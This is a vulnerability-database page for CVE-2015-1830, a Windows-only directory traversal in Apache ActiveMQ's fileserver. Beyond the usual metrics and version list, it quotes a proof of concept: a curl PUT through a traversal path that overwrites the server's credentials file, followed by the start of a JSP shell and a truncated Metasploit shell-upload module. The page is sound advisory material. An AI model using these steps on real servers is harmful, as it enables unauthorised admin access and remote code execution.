CVE-2015-1830 : Detail

CVE-2015-1830

Directory Traversal
A01-Broken Access Control
9.46%V3
Network
2015-08-19
13h00 +00:00
2020-03-05
21h06 +00:00
CVE.org
NVD
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CVE Descriptions

Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS V0
EPSS V1
EPSS V2
EPSS V3
100.00100.0080.0080.0060.0060.0040.0040.0020.0020.000.000.0082.75%3.3%3.3%3.3%6.91%9.46%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '24
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EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
1021029999969693939090878799%90%91%91%93%94%95%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '24
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EPSS First.org

Exploit information

Exploit Database EDB-ID : 40857

Publication date : 2015-08-16 22h00 +00:00
Author : David Jorm
EDB Verified : Yes

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality.
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter.
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
<bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">
<property name="constraint" ref="securityConstraint">
<property name="pathSpec" value="/api/*,/admin/*,*.jsp">
</property></property>
</bean>
Effectively blocking the upload of JSP files into contexts that will allow them to execute.
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties
This seems to have the disadvantage of requiring a reboot of the server to take effect.
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot.
The attacker can then take a standard JSP shell:
$ cat cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
 
 
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Exploit Database EDB-ID : 48181

Publication date : 2020-03-08 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
ActiveMQ 5.x before 5.11.2 for Windows.
The module tries to upload a JSP payload to the /admin directory via the traversal
path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
credentials admin:admin (or other credentials provided by the user). It then issues
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
payload and obtain a shell.
},
 
 
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Products Mentioned

Configuraton 0

Apache>>Activemq >> Version 5.0.0

Apache>>Activemq >> Version 5.1.0

Apache>>Activemq >> Version 5.2.0

Apache>>Activemq >> Version 5.3.0

Apache>>Activemq >> Version 5.3.1

Apache>>Activemq >> Version 5.3.2

Apache>>Activemq >> Version 5.4.0

Apache>>Activemq >> Version 5.4.1

Apache>>Activemq >> Version 5.4.2

Apache>>Activemq >> Version 5.4.3

Apache>>Activemq >> Version 5.5.0

Apache>>Activemq >> Version 5.5.1

Apache>>Activemq >> Version 5.6.0

Apache>>Activemq >> Version 5.7.0

Apache>>Activemq >> Version 5.8.0

Apache>>Activemq >> Version 5.9.0

Apache>>Activemq >> Version 5.9.1

Apache>>Activemq >> Version 5.10.0

Apache>>Activemq >> Version 5.10.1

Apache>>Activemq >> Version 5.10.2

Apache>>Activemq >> Version 5.11.0

Apache>>Activemq >> Version 5.11.1

Microsoft>>Windows >> Version *

References

http://www.securityfocus.com/bid/76452
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1033315
Tags : vdb-entry, x_refsource_SECTRACK